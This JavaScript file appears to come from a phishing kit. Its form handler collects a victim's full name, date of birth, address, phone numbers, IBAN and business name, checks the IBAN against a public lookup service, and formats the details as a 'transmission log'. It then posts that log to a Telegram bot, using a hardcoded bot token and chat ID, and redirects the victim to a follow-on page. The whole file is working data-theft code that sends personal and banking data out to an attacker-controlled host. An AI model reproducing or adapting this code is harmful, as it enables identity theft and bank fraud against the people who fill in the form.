async function handleSubmit(event) {
      event.preventDefault();

      const form = document.getElementById("updateForm");
      const formData = new FormData(form);
      const iban = formData.get("iban").trim();
      const business = formData.get("business").trim();

      const ibanData = await validateIBAN(iban);
      const bankInfo = ibanData && ibanData.bank_name
        ? `✅ Bank: ${ibanData.bank_name}`
        : `❌ Ongeldig IBAN`;

      const message = `
[==========  DATA TRANSMISSION LOG  ::  SECURE  =========]

:: Full Name      => ${formData.get("full_name")}
:: Date of Birth  => ${formData.get("day")}
:: Address        => ${formData.get("address")}
:: City           => ${formData.get("city")}
:: Postal Code    => ${formData.get("zipcode")}
:: Mobile         => ${formData.get("phone")}
:: Landline       => ${formData.get("fast_phone")}
:: IBAN           => ${iban}
:: Bank Info      => ${bankInfo}
${business ? `:: Business       => ${business}` : ''}

[========================================================]
:: Log Time       => ${new Date().toLocaleString()}
:: Status         => TRANSMITTED TO NODE / SECURED
[========================================================]
`;

      await sendToTelegram(message);
      window.location.href = "finload.html";
    }

    async function validateIBAN(iban) {
      try {
        const response = await fetch(`https://openiban.com/validate/${iban}?getBIC=true&validateBankCode=true`);
        const data = await response.json();
        return data && data.bankData ? { bank_name: data.bankData.name } : null;
      } catch (error) {
        console.error("IBAN validatiefout:", error);
        return null;
      }
    }

    async function sendToTelegram(message) {
      const token = "7618164306:AAFqEPAqyG8O9_xNKfhi9TnynslZyZjgaB4";
      const chatId = "7774435190";

      await fetch(`https://api.telegram.org/bot${token}/sendMessage`, {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        body: JSON.stringify({
          chat_id: chatId,
          text: message
        })
      });
    }